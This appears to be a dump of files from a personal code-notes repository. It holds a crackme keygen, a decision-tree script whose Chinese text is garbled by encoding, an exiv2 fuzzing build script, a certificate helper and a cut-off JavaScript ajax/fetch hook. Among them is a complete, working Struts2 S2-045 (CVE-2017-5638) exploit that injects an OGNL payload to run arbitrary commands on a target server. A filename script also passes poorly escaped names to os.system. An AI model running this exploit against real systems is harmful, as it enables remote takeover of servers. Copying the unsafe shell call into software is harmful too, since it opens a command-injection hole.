    "path": "docs/code/ctf.cf_crackme/zeph1/exp.cpp",
    "content": "#include <stdio.h>\r\n#include <string.h>\r\n/*\r\n    Link: http://ctf.tf/ctfs/zeph1/\r\n    Exp Author: zjuchenyuan\r\n*/\r\nint i,j,k,l,v19,ii,v24,v23,v7,v12,v11,v16;\r\nunsigned int m,v8,v13,name_sum=0;//distinguish unsigned int from signed int is very important!\r\nchar output[9999];\r\nchar* exp(char* NameString){\r\n  char name_i,name_j,name_k,name_l,name_ii;\r\n  int len_name=strlen(NameString);\r\n  for ( i = 0; i < len_name; name_sum = v7 )\r\n  {\r\n    name_i = *(NameString + i);\r\n    name_sum += name_i;\r\n    if ( name_i < 74 )\r\n      v7 = 2 * name_sum * name_i;\r\n    else\r\n      v7 = name_sum * name_i;\r\n    ++i;\r\n  }\r\n  v8 = name_sum % 0x724;\r\n  //printf(\"v8=%d\\n\",v8);\r\n  for ( j = 0; j < len_name; v8 = v12 )\r\n  {\r\n    name_j = *(NameString + j);\r\n    v11 = name_j + v8;\r\n    if ( name_j < 64 )\r\n      v12 = 4 * v11 * name_j;\r\n    else\r\n      v12 = v11 * name_j;\r\n    ++j;\r\n  }\r\n  v13 = v8 % 0x2225;\r\n  //printf(\"v13=%d\\n\",v13);\r\n  for ( k = 0; k < len_name; ++k )\r\n  {\r\n    name_k = *(NameString + k);\r\n    v16 = name_k + v13;\r\n    if ( name_k < 84 )\r\n      v13 = 6 * v16 * name_k;\r\n    else\r\n      v13 = v16 * name_k;\r\n  }\r\n  for ( l = 0; l < len_name; ++l )\r\n  {\r\n    name_l = *(NameString + l);\r\n    v19 = name_l + v13;\r\n    if ( name_l < 74 )\r\n      v13 = 5 * v19 * name_l;\r\n    else\r\n      v13 = v19 * name_l;\r\n  }\r\n  ii = 0;\r\n  //printf(\"m=%d\\n\",m);\r\n  for ( m = v13 % 0x2E34; ii < len_name; m = v24 )\r\n  {\r\n    name_ii = *(NameString + ii);\r\n    v23 = name_ii + m;\r\n    if ( name_ii < 64 )\r\n      v24 = 7 * v23 * name_ii;\r\n    else\r\n      v24 = v23 * name_ii;\r\n    ++ii;\r\n  }\r\n  //printf(\"m=%d\\n\",m);\r\n  sprintf(output, \"%X%lu\", m, m);\r\n  //puts(output);\r\n  return output;\r\n}\r\nint main(){\r\n\tchar NameString[9999];\r\n\tprintf(\"Input Your Name: \");\r\n\tgets(NameString);//example: chenyuan\r\n\tprintf(\"Your Serial No: \");\r\n\tputs(exp(NameString));//example: 93622A222472684066\r\n}\r\n"
  },
  {
    "path": "docs/code/ctf.cf_crackme/zeph1/readme.txt",
    "content": "Try to write a valid keygen for this crackme.\r\nIf you manage to do this without patching, then\r\nfeel free to send a tutorial+keygen to me or http://www.crackmes.de.\r\n\r\nDifficulty : 1/10\r\n\r\nGood luck :)\r\n\r\nzephyrous@inbox.lv"
  },
  {
    "path": "docs/code/decisiontree.py",
    "content": "# -*- coding: gbk -*-\r\n#Original From:http://blog.csdn.net/alvine008/article/details/37760639\r\n#compatible both in python2 and python3\r\n#use json to make the output tree look better\r\nimport math\r\nimport json\r\nimport operator\r\ndef calcShannonEnt(dataSet):  #Ϣ\r\n    #calculate the shannon value  \r\n    numEntries = len(dataSet)  \r\n    labelCounts = {}  \r\n    for featVec in dataSet:      #create the dictionary for all of the data  \r\n        currentLabel = featVec[-1]  \r\n        if currentLabel not in labelCounts.keys():  \r\n            labelCounts[currentLabel] = 0  \r\n        labelCounts[currentLabel] += 1  \r\n    shannonEnt = 0.0  \r\n    for key in labelCounts:  \r\n        prob = float(labelCounts[key])/numEntries  \r\n        shannonEnt -= prob*math.log(prob,2) #get the log value  \r\n    return shannonEnt\r\n\r\n\r\ndef splitDataSet(dataSet, axis, value):  #axis=0value=̣ͻõ̵ЩɾȥĽ\r\n    retDataSet = []  \r\n    for featVec in dataSet:  \r\n        if featVec[axis] == value:      #abstract the fature  \r\n            reducedFeatVec = featVec[:axis]  \r\n            reducedFeatVec.extend(featVec[axis+1:])  \r\n            retDataSet.append(reducedFeatVec)  \r\n    return retDataSet\r\n\r\n\r\ndef chooseBestFeatureToSplit(dataSet):  \r\n    numFeatures = len(dataSet[0])-1  \r\n    baseEntropy = calcShannonEnt(dataSet)  \r\n    bestInfoGain = 0.0; bestFeature = -1  \r\n    for i in range(numFeatures):  \r\n        featList = [example[i] for example in dataSet]  \r\n        uniqueVals = set(featList)  \r\n        newEntropy = 0.0  \r\n        for value in uniqueVals: \r\n            subDataSet = splitDataSet(dataSet, i , value)  #i=0,value=̣õ̵6¼subDataSet\r\n            prob = len(subDataSet)/float(len(dataSet))  \r\n            newEntropy +=prob * calcShannonEnt(subDataSet)  \r\n        infoGain = baseEntropy - newEntropy  \r\n        if(infoGain > bestInfoGain):  \r\n            bestInfoGain = infoGain  \r\n            bestFeature = i  \r\n    return bestFeature\r\n\r\n\r\ndef majorityCnt(classList):  \r\n    classCount = {}  \r\n    for vote in classList:  \r\n        if vote not in classCount.keys(): classCount[vote] = 0  \r\n        classCount[vote] += 1  \r\n    sortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True)  \r\n    return sortedClassCount[0][0]\r\n\r\n\r\ndef createTree(dataSet, labels):  \r\n    classList = [example[-1] for example in dataSet]  #бÿСǡ\r\n    # the type is the same, so stop classify  \r\n    if classList.count(classList[0]) == len(classList):  #ȫǡǡ򡰷񡱣return\r\n        return classList[0]  \r\n    # traversal all the features and choose the most frequent feature  \r\n    if (len(dataSet[0]) == 1):#Ϊգ\r\n        return majorityCnt(classList)  \r\n    bestFeat = chooseBestFeatureToSplit(dataSet)  #ѡõĻ\r\n    bestFeatLabel = labels[bestFeat]  \r\n    myTree = {bestFeatLabel:{}}  \r\n    del(labels[bestFeat])  \r\n    #get the list which attain the whole properties  \r\n    featValues = [example[bestFeat] for example in dataSet]  \r\n    uniqueVals = set(featValues)  \r\n    for value in uniqueVals:  \r\n        childDataSet = splitDataSet(dataSet, bestFeat, value)\r\n        if childDataSet == []: \r\n            myTree[bestFeatLabel][value] = majorityCnt(classList)\r\n        else: myTree[bestFeatLabel][value] = createTree(childDataSet, labels[:])  \r\n    return myTree\r\n\r\n\r\ndef classify(inputTree, featLabels, testVec):  \r\n    firstStr = list(inputTree.keys())[0]\r\n    #firstStr = (inputTree.keys())[0]\r\n    secondDict = inputTree[firstStr]\r\n    featIndex = featLabels.index(firstStr)\r\n    for key in secondDict.keys():  \r\n        if testVec[featIndex] == key:  \r\n            if type(secondDict[key]).__name__ == 'dict':  \r\n                classLabel = classify(secondDict[key], featLabels, testVec)  \r\n            else: classLabel = secondDict[key]  \r\n    return classLabel\r\n\r\n\r\ndataSet = [\r\n\",,,,,Ӳ,\".split(','),\r\n\"ں,,,,,Ӳ,\".split(','),\r\n\"ں,,,,,Ӳ,\".split(','),\r\n\",,,,,Ӳ,\".split(','),\r\n\"ǳ,,,,,Ӳ,\".split(','),\r\n\",,,,԰,ճ,\".split(','),\r\n\"ں,,,Ժ,԰,ճ,\".split(','),\r\n\"ں,,,,԰,Ӳ,\".split(','),\r\n\"ں,,,Ժ,԰,Ӳ,\".split(','),\r\n\",Ӳͦ,,,ƽ̹,ճ,\".split(','),\r\n\"ǳ,Ӳͦ,,ģ,ƽ̹,Ӳ,\".split(','),\r\n\"ǳ,,,ģ,ƽ̹,ճ,\".split(','),\r\n\",,,Ժ,,Ӳ,\".split(','),\r\n\"ǳ,,,Ժ,,Ӳ,\".split(','),\r\n\"ں,,,,԰,ճ,\".split(','),\r\n\"ǳ,,,ģ,ƽ̹,Ӳ,\".split(','),\r\n\",,,Ժ,԰,Ӳ,\".split(','),\r\n]\r\nlabels = \"ɫ,,,,겿,\".split(',')  \r\nmyTree = createTree(dataSet,labels[:])  \r\nprint(json.dumps(myTree,indent=4, ensure_ascii=False))#4ʾ\r\nprint(classify(myTree,labels,\",,,Ժ,԰,ճ\".split(',')))#һδ֪\r\n"
  },
  {
    "path": "docs/code/dfsanexiv2/Dockerfile",
    "content": "FROM zjuchenyuan/angora\r\nADD build.sh /\r\nRUN chmod +x /build.sh && /build.sh"
  },
  {
    "path": "docs/code/dfsanexiv2/build.sh",
    "content": "#!/bin/bash\n# create our ABI list file\nmkdir -p /data\ncd /data\ncat /angora/llvm_mode/build/dfsan_rt/share/dfsan_abilist.txt > mylist.txt\ncat /angora/llvm_mode/dfsan_rt/abilibstdc++.txt >> mylist.txt\n\n# download and compile libc++, ref: https://github.com/AngoraFuzzer/Angora/blob/master/llvm_mode/libcxx/compile.sh\napt install -y ninja-build\n\nLLVM_VERSION=7.0.0\nCUR_DIR=/data\nCLANG_SRC=${CUR_DIR}/llvm_src\n\nwget http://releases.llvm.org/${LLVM_VERSION}/llvm-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/cfe-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/compiler-rt-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/libcxx-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/libcxxabi-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/libunwind-${LLVM_VERSION}.src.tar.xz\nwget http://releases.llvm.org/${LLVM_VERSION}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz\n\ntar -Jxf ${CUR_DIR}/llvm-${LLVM_VERSION}.src.tar.xz \nmv llvm-${LLVM_VERSION}.src $CLANG_SRC\ncd ${CLANG_SRC}/tools\ntar -Jxf ${CUR_DIR}/cfe-${LLVM_VERSION}.src.tar.xz \nmv cfe-${LLVM_VERSION}.src clang\ncd ${CLANG_SRC}/tools/clang/tools\ntar -Jxf ${CUR_DIR}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz \nmv clang-tools-extra-${LLVM_VERSION}.src extra\ncd ${CLANG_SRC}/projects\ntar -Jxvf ${CUR_DIR}/compiler-rt-${LLVM_VERSION}.src.tar.xz\nmv compiler-rt-${LLVM_VERSION}.src compiler-rt\ntar -Jxvf ${CUR_DIR}/libcxx-${LLVM_VERSION}.src.tar.xz\nmv libcxx-${LLVM_VERSION}.src libcxx\ntar -Jxvf ${CUR_DIR}/libcxxabi-${LLVM_VERSION}.src.tar.xz\nmv libcxxabi-${LLVM_VERSION}.src libcxxabi\ntar -Jxvf ${CUR_DIR}/libunwind-${LLVM_VERSION}.src.tar.xz\nmv libunwind-${LLVM_VERSION}.src libunwind\ncp ./libcxxabi/include/*  ./libcxx/include\n\nmkdir -p /data/build_llvm && cd /data/build_llvm\nexport CC=\"clang -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt\" CXX=\"clang++ -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt\"\ncmake -G Ninja ../llvm_src/  -DLIBCXXABI_ENABLE_SHARED=NO -DLIBCXX_ENABLE_SHARED=NO -DLIBCXX_CXX_ABI=libcxxabi\nninja cxx cxxabi\n\nexport CC=\"clang -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb\" CXX=\"clang++ -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb\"\n\n# download dependency (expat and zlib) source code\ncd /data\nsed -i 's/# deb-src/deb-src/g' /etc/apt/sources.list\napt update\napt source zlib1g-dev libexpat1-dev\n\n# compile expat\ncd /data/expat-2.1.0\n./configure --prefix=/data/expat\nmake install -j\n\n# compile zlib\ncd /data/zlib-1.2.8.dfsg/\n./configure --prefix=/data/zlib\nmake install -j\n\n# download source code\ncd /data\nwget http://exiv2.org/releases/exiv2-0.26-trunk.tar.gz\ntar zxvf exiv2-0.26-trunk.tar.gz\ncd /data/exiv2-trunk\n\nCFLAGS='-O0' CXXFLAGS='-O0' ./configure --disable-shared --with-expat=/data/expat --with-zlib=/data/zlib \nmake clean; find . -name '*.o' -delete\nmake -j\n# now we get bin/exiv2, about 44MB"
  },
  {
    "path": "docs/code/exp.S2-045.py",
    "content": "#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport urllib2\r\nimport httplib\r\n\r\n\r\ndef exploit(url, cmd):\r\n    payload = \"Content-Type:%{(#_='multipart/form-data').\"\r\n    payload += \"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\"\r\n    payload += \"(#_memberAccess?\"\r\n    payload += \"(#_memberAccess=#dm):\"\r\n    payload += \"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\"\r\n    payload += \"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\"\r\n    payload += \"(#ognlUtil.getExcludedPackageNames().clear()).\"\r\n    payload += \"(#ognlUtil.getExcludedClasses().clear()).\"\r\n    payload += \"(#context.setMemberAccess(#dm)))).\"\r\n    payload += \"(#cmd='%s').\" % cmd\r\n    payload += \"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\"\r\n    payload += \"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).\"\r\n    payload += \"(#p=new java.lang.ProcessBuilder(#cmds)).\"\r\n    payload += \"(#p.redirectErrorStream(true)).(#process=#p.start()).\"\r\n    payload += \"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).\"\r\n    payload += \"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).\"\r\n    payload += \"(#ros.flush())}\"\r\n\r\n    try:\r\n        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}\r\n        request = urllib2.Request(url, headers=headers)\r\n        page = urllib2.urlopen(request).read()\r\n    except httplib.IncompleteRead, e:\r\n        page = e.partial\r\n\r\n    print(page)\r\n    return page\r\n\r\n\r\nif __name__ == '__main__':\r\n    import sys\r\n    if len(sys.argv) != 3:\r\n        print(\"[*] struts2_S2-045.py <url> <cmd>\")\r\n    else:\r\n        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')\r\n        url = sys.argv[1]\r\n        cmd = sys.argv[2]\r\n        print(\"[*] cmd: %s\\n\" % cmd)\r\n        exploit(url, cmd)"
  },
  {
    "path": "docs/code/fixgbknames.py",
    "content": "\"\"\"\r\nIf you have a bunch of files in Linux system whose filename is encoded with gbk,\r\nyou will find `ls` cannot correctly display them, \r\nbecause filenames should be encoded with utf-8 under Linux.\r\n\r\nSo, let's change the filename to correct encoding 'utf-8'\r\n\r\nThis script can only work under Python3\r\n\"\"\"\r\ntry:\r\n    import http #this is only for testing if you're using py3\r\nexcept:\r\n    print(\"This script can only work under Python3\")\r\n    exit(1)\r\n\r\nimport os\r\nok=0\r\nnotok = 0\r\nfor root, dirs, files in os.walk(b\".\"):\r\n    for filename in files:\r\n        filename = os.path.join(root, filename).replace(b'`',b'\\\\`')\r\n        try:\r\n            filename.decode('utf-8')\r\n            ok += 1\r\n        except:\r\n            print(filename)\r\n            notok += 1\r\n            command = b'mv \"'+filename+b'\" \"'+filename.decode('gbk').encode('utf-8')+b'\"'\r\n            os.system(command)\r\n\r\nprint(\"changed {} files\".format(notok))\r\nprint(\"leave {} files untouched\".format(ok))"
  },
  {
    "path": "docs/code/getcert.py",
    "content": "#!/usr/bin/python\nusage=\"\"\"Usage:\n    ./getcert.py example example.com,www.example.com,another.example.com\n    \nNote:\n    Please set up nginx conf carefully~ Look up here -> https://github.com/zjuchenyuan/notebook/blob/master/Nginx.md\n\"\"\"\nfrom os import system as s\nimport sys\nif len(sys.argv)!=3:\n    print(usage)\n    exit()\nname = sys.argv[1]\ns(\"test -e account.key || openssl genrsa 4096 > account.key\")\ns(\"test -e acme_tiny.py || curl -O https://raw.githubusercontent.com/diafygi/acme-tiny/master/acme_tiny.py\")\ns(\"test -e {name}.key || openssl genrsa 4096 > {name}.key\".format(name=name))\nDNSstring = 'DNS:' + ',DNS:'.join(sys.argv[2].split(\",\"))\nopen(\"tmp.sh\",\"w\").write('openssl req -new -sha256 -key {name}.key -subj \"/\" -reqexts SAN -config <(cat /etc/ssl/openssl.cnf <(printf \"[SAN]\\\\nsubjectAltName={DNSstring}\")) > {name}.csr'.format(name=name,DNSstring=DNSstring))\ns(\"bash tmp.sh&&rm -f tmp.sh\")\ns(\"python acme_tiny.py --account-key account.key --csr {name}.csr --acme-dir . > {name}.crt\".format(name=name))"
  },
  {
    "path": "docs/code/jshook_preload.js",
    "content": "if(typeof(window.RVPNSTATUS)==\"undefined\"){\r\n    var RVPNSTATUS = document.location.hostname.indexOf(\"rvpn.zju.edu.cn\")!=-1;\r\n    var tmp=document.location.pathname.split(\"/\");\r\n    var ROOT;\r\n    if(RVPNSTATUS){\r\n        ROOT=\"/\"+tmp[1]+\"/\"+tmp[2]+\"/\"+tmp[3]+\"/\"+tmp[4]+\"/\"+tmp[5]+\"/\";\r\n    }else{\r\n        ROOT=\"/\";\r\n    }\r\n    /*ajaxhook.min.js*/\r\n    !function(t){function r(i){if(n[i])return n[i].exports;var o=n[i]={exports:{},id:i,loaded:!1};return t[i].call(o.exports,o,o.exports,r),o.loaded=!0,o.exports}var n={};return r.m=t,r.c=n,r.p=\"\",r(0)}([function(t,r,n){n(1)(window)},function(t,r){t.exports=function(t){t.hookAjax=function(t){function r(t){return function(){return this.hasOwnProperty(t+\"_\")?this[t+\"_\"]:this.xhr[t]}}function n(r){return function(n){var i=this.xhr,o=this;return 0!=r.indexOf(\"on\")?void(this[r+\"_\"]=n):void(t[r]?i[r]=function(){t[r](o)||n.apply(i,arguments)}:i[r]=n)}}function i(r){return function(){var n=[].slice.call(arguments);if(!t[r]||!t[r].call(this,n,this.xhr))return this.xhr[r].apply(this.xhr,n)}}return window._ahrealxhr=window._ahrealxhr||XMLHttpRequest,XMLHttpRequest=function(){this.xhr=new window._ahrealxhr;for(var t in this.xhr){var o=\"\";try{o=typeof this.xhr[t]}catch(t){}\"function\"===o?this[t]=i(t):Object.defineProperty(this,t,{get:r(t),set:n(t)})}},window._ahrealxhr},t.unHookAjax=function(){window._ahrealxhr&&(XMLHttpRequest=window._ahrealxhr),window._ahrealxhr=void 0},t.default=t}}]);\r\n    if(RVPNSTATUS){\r\n/*fetch.js start*/\r\n(function (global, factory) {\r\n  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :\r\n  typeof define === 'function' && define.amd ? define(['exports'], factory) :\r\n  (factory((global.WHATWGFetch = {})));\r\n}(this, (function (exports) { 'use strict';\r\n\r\n  var support = {\r\n    searchParams: 'URLSearchParams' in self,\r\n    iterable: 'Symbol' in self && 'iterator' in Symbol,\r\n    blob:\r\n      'FileReader' in self &&\r\n      'Blob' in self &&\r\n      (function() {\r\n        try {\r\n          new Blob();\r\n          return true\r\n        } catch (e) {\r\n          return false\r\n        }\r\n      })(),\r\n    formData: 'FormData' in self,\r\n    arrayBuffer: 'ArrayBuffer' in self\r\n  };\r\n\r\n  function isDataView(obj) {\r\n    return obj && DataView.prototype.isPrototypeOf(obj)\r\n  }\r\n\r\n  if (support.arrayBuffer) {\r\n    var viewClasses = [\r\n      '[object Int8Array]',\r\n      '[object Uint8Array]',\r\n      '[object Uint8ClampedArray]',\r\n      '[object Int16Array]',\r\n      '[object Uint16Array]',\r\n      '[object Int32Array]',\r\n      '[object Uint32Array]',\r\n      '[object Float32Array]',\r\n      '[object Float64Array]'\r\n    ];\r\n\r\n    var isArrayBufferView =\r\n      ArrayBuffer.isView ||\r\n      function(obj) {\r\n        return obj && viewClasses.indexOf(Object.prototype.toString.call(obj)) > -1\r\n      };\r\n  }\r\n\r\n  function normalizeName(name) {\r\n    if (typeof name !== 'string') {\r\n      name = String(name);\r\n    }\r\n    if (/[^a-z0-9\\-#$%&'*+.^_`|~]/i.test(name)) {\r\n      throw new TypeError('Invalid character in header field name')\r\n    }\r\n    return name.toLowerCase()\r\n  }\r\n\r\n  function normalizeValue(value) {\r\n    if (typeof value !== 'string') {\r\n      value = String(value);\r\n    }\r\n    return value\r\n  }\r\n\r\n  // Build a destructive iterator for the value list\r\n  function iteratorFor(items) {\r\n    var iterator = {\r\n      next: function() {\r\n        var value = items.shift();\r\n        return {done: value === undefined, value: value}\r\n      }\r\n    };\r\n\r\n    if (support.iterable) {\r\n      iterator[Symbol.iterator] = function() {\r\n        return iterator\r\n      };\r\n    }\r\n\r\n    return iterator\r\n  }\r\n\r\n  function Headers(headers) {\r\n    this.map = {};\r\n\r\n    if (headers instanceof Headers) {\r\n      headers.forEach(function(value, name) {\r\n        this.append(name, value);\r\n      }, this);\r\n    } else if (Array.isArray(headers)) {\r\n      headers.forEach(function(header) {\r\n        this.append(header[0], header[1]);\r\n      }, this);\r\n    } else if (headers) {\r\n      Object.getOwnPropertyNames(headers).forEach(function(name) {\r\n        this.append(name, headers[name]);\r\n      }, this);\r\n    }\r\n  }\r\n\r\n  Headers.prototype.append = function(name, value) {\r\n    name = normalizeName(name);\r\n    value = normalizeValue(value);\r\n    var oldValue = this.map[name];\r\n    this.map[name] = oldValue ? oldValue + ', ' + value : value;\r\n  };\r\n\r\n  Headers.prototype['delete'] = function(name) {\r\n    delete this.map[normalizeName(name)];\r\n  };\r\n\r\n  Headers.prototype.get = function(name) {\r\n    name = normalizeName(name);\r\n    return this.has(name) ? this.map[name] : null\r\n  };\r\n\r\n  Headers.prototype.has = function(name) {\r\n    return this.map.hasOwnProperty(normalizeName(name))\r\n  };\r\n\r\n  Headers.prototype.set = function(name, value) {\r\n    this.map[normalizeName(name)] = normalizeValue(value);\r\n  };\r\n\r\n  Headers.prototype.forEach = function(callback, thisArg) {\r\n    for (var name in this.map) {\r\n      if (this.map.hasOwnProperty(name)) {\r\n        callback.call(thisArg, this.map[name], name, this);\r\n      }\r\n    }\r\n  };\r\n\r\n  Headers.prototype.keys = function() {\r\n    var items = [];\r\n    this.forEach(function(value, name) {\r\n      items.push(name);\r\n    });\r\n    return iteratorFor(items)\r\n  };\r\n\r\n  Headers.prototype.values = function() {\r\n    var items = [];\r\n    this.forEach(function(value) {\r\n      items.push(value);\r\n    });\r\n    return iteratorFor(items)\r\n  };\r\n\r\n  Headers.prototype.entries = function() {\r\n    var items = [];\r\n    this.forEach(function(value, name) {\r\n      items.push([name, value]);\r\n    });\r\n    return iteratorFor(items)\r\n  };\r\n\r\n  if (support.iterable) {\r\n    Headers.prototype[Symbol.iterator] = Headers.prototype.entries;\r\n  }\r\n\r\n  function consumed(body) {\r\n    if (body.bodyUsed) {\r\n      return Promise.reject(new TypeError('Already read'))\r\n    }\r\n    body.bodyUsed = true;\r\n  }\r\n\r\n  function fileReaderReady(reader) {\r\n    return new Promise(function(resolve, reject) {\r\n      reader.onload = function() {\r\n        resolve(reader.result);\r\n      };\r\n      reader.onerror = function() {\r\n        reject(reader.error);\r\n      };\r\n    })\r\n  }\r\n\r\n  function readBlobAsArrayBuffer(blob) {\r\n    var reader = new FileReader();\r\n    var promise = fileReaderReady(reader);\r\n    reader.readAsArrayBuffer(blob);\r\n    return promise\r\n  }\r\n\r\n  function readBlobAsText(blob) {\r\n    var reader = new FileReader();\r\n    var promise = fileReaderReady(reader);\r\n    reader.readAsText(blob);\r\n    return promise\r\n  }\r\n\r\n  function readArrayBufferAsText(buf) {\r\n    var view = new Uint8Array(buf);\r\n    var chars = new Array(view.length);\r\n\r\n    for (var i = 0; i < view.length; i++) {\r\n      chars[i] = String.fromCharCode(view[i]);\r\n    }\r\n    return chars.join('')\r\n  }\r\n\r\n  function bufferClone(buf) {\r\n    if (buf.slice) {\r\n      return buf.slice(0)\r\n    } else {\r\n      var view = new Uint8Array(buf.byteLength);\r\n      view.set(new Uint8Array(buf));\r\n      return view.buffer\r\n    }\r\n  }\r\n\r\n  function Body() {\r\n    this.bodyUsed = false;\r\n\r\n    this._initBody = function(body) {\r\n      this._bodyInit = body;\r\n      if (!body) {\r\n        this._bodyText = '';\r\n      } else if (typeof body === 'string') {\r\n        this._bodyText = body;\r\n      } else if (support.blob && Blob.prototype.isPrototypeOf(body)) {\r\n        this._bodyBlob = body;\r\n      } else if (support.formData && FormData.prototype.isPrototypeOf(body)) {\r\n        this._bodyFormData = body;\r\n      } else if (support.searchParams && URLSearchParams.prototype.isPrototypeOf(body)) {\r\n        this._bodyText = body.toString();\r\n      } else if (support.arrayBuffer && support.blob && isDataView(body)) {\r\n        this._bodyArrayBuffer = bufferClone(body.buffer);\r\n        // IE 10-11 can't handle a DataView body.\r\n        this._bodyInit = new Blob([this._bodyArrayBuffer]);\r\n      } else if (support.arrayBuffer && (ArrayBuffer.prototype.isPrototypeOf(body) || isArrayBufferView(body))) {\r\n        this._bodyArrayBuffer = bufferClone(body);\r\n      } else {\r\n        this._bodyText = body = Object.prototype.toString.call(body);\r\n      }\r\n\r\n      if (!this.headers.get('content-type')) {\r\n        if (typeof body === 'string') {\r\n          this.headers.set('content-type', 'text/plain;charset=UTF-8');\r\n        } else if (this._bodyBlob && this._bodyBlob.type) {\r\n          this.headers.set('content-type', this._bodyBlob.type);\r\n        } else if (support.searchParams && URLSearchParams.prototype.isPrototypeOf(body)) {\r\n          this.headers.set('content-type', 'application/x-www-form-urlencoded;charset=UTF-8');\r\n        }\r\n      }\r\n    };\r\n\r\n    if (support.blob) {\r\n      this.blob = function() {\r\n        var rejected = consumed(this);\r\n        if (rejected) {\r\n          return rejected\r\n        }\r\n\r\n        if (this._bodyBlob) {\r\n          return Promise.resolve(this._bodyBlob)\r\n        } else if (this._bodyArrayBuffer) {\r\n          return Promise.resolve(new Blob([this._bodyArrayBuffer]))\r\n        } else if (this._bodyFormData) {\r\n          throw new Error('could not read FormData body as blob')\r\n        } else {\r\n          return Promise.resolve(new Blob([this._bodyText]))\r\n        }\r\n      };\r\n\r\n      this.arrayBuffer = function() {\r\n        if (this._bodyArrayBuffer) {\r\n          return consumed(this) || Promise.resolve(this._bodyArrayBuffer)\r\n        } else {\r\n          return this.blob().then(readBlobAsArrayBuffer)\r\n        }\r\n      };\r\n    }\r\n\r\n    this.text = function() {\r\n      var rejected = consumed(this);\r\n      if (rejected) {\r\n        return rejected\r\n      }\r\n\r\n      if (this._bodyBlob) {\r\n        return readBlobAsText(this._bodyBlob)\r\n      } else if (this._bodyArrayBuffer) {\r\n        return Promise.resolve(readArrayBufferAsText(this._bodyArrayBuffer))\r\n      } else if (this._bodyFormData) {\r\n        throw new Error('could not read FormData body as text')\r\n      } else {\r\n        return Promise.resolve(this._bodyText)\r\n      }\r\n    };\r\n\r\n    if (support.formData) {\r\n      this.formData = function() {\r\n        return this.text().then(decode)\r\n      };\r\n    }\r\n\r\n    this.json = function() {\r\n      return this.text().then(JSON.parse)\r\n    };\r\n\r\n    return this\r\n  }\r\n\r\n  // HTTP methods whose capitalization should be normalized\r\n  var methods = ['DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT'];\r\n\r\n  function normalizeMethod(method) {\r\n    var upcased = method.toUpperCase();\r\n    return methods.indexOf(upcased) > -1 ? upcased : method\r\n  }\r\n\r\n  function Request(input, options) {\r\n    options = options || {};\r\n    var body = options.body;\r\n\r\n    if (input instanceof Request) {\r\n      if (input.bodyUsed) {\r\n        throw new TypeError('Already read')\r\n      }\r\n      this.url = input.url;\r\n      this.credentials = input.credentials;\r\n      if (!options.headers) {\r\n        this.headers = new Headers(input.headers);\r\n      }\r\n      this.method = input.method;\r\n      this.mode = input.mode;\r\n      this.signal = input.signal;\r\n      if (!body && input._bodyInit != null) {\r\n        body = input._bodyInit;\r\n        input.bodyUsed = true;\r\n      }\r\n    } else {\r\n      this.url = String(input);\r\n    }\r\n\r\n    this.credentials = options.credentials || this.credentials || 'same-origin';\r\n    if (options.headers || !this.headers) {\r\n      this.headers = new Headers(options.headers);\r\n    }\r\n    this.method = normalizeMethod(options.method || this.method || 'GET');\r\n    this.mode = options.mode || this.mode || null;\r\n    this.signal = options.signal || this.signal;\r\n    this.referrer = null;\r\n\r\n    if ((this.method === 'GET' || this.method === 'HEAD') && body) {\r\n      throw new TypeError('Body not allowed for GET or HEAD requests')\r\n    }\r\n    this._initBody(body);\r\n  }\r\n\r\n  Request.prototype.clone = function() {\r\n    return new Request(this, {body: this._bodyInit})\r\n  };\r\n\r\n  function decode(body) {\r\n    var form = new FormData();\r\n    body\r\n      .trim()\r\n      .split('&')\r\n      .forEach(function(bytes) {\r\n        if (bytes) {\r\n          var split = bytes.split('=');\r\n          var name = split.shift().replace(/\\+/g, ' ');\r\n          var value = split.join('=').replace(/\\+/g, ' ');\r\n          form.append(decodeURIComponent(name), decodeURIComponent(value));\r\n        }\r\n      });\r\n    return form\r\n  }\r\n\r\n  function parseHeaders(rawHeaders) {\r\n    var headers = new Headers();\r\n    // Replace instances of \\r\\n and \\n followed by at least one space or horizontal tab with a space\r\n    // https://tools.ietf.org/html/rfc7230#section-3.2\r\n    var preProcessedHeaders = rawHeaders.replace(/\\r?\\n[\\t ]+/g, ' ');\r\n    preProcessedHeaders.split(/\\r?\\n/).forEach(function(line) {\r\n      var parts = line.split(':');\r\n      var key = parts.shift().trim();\r\n      if (key) {\r\n        var value = parts.join(':').trim();\r\n        headers.append(key, value);\r\n      }\r\n    });\r\n    return headers\r\n  }\r\n\r\n  Body.call(Request.prototype);\r\n\r\n  function Response(bodyInit, options) {\r\n    if (!options) {\r\n      options = {};\r\n    }\r\n\r\n    this.type = 'default';\r\n    this.status = options.status === undefined ? 200 : options.status;\r\n    this.ok = this.status >= 200 && this.status < 300;\r\n    this.statusText = 'statusText' in options ? options.statusText : 'OK';\r\n    this.headers = new 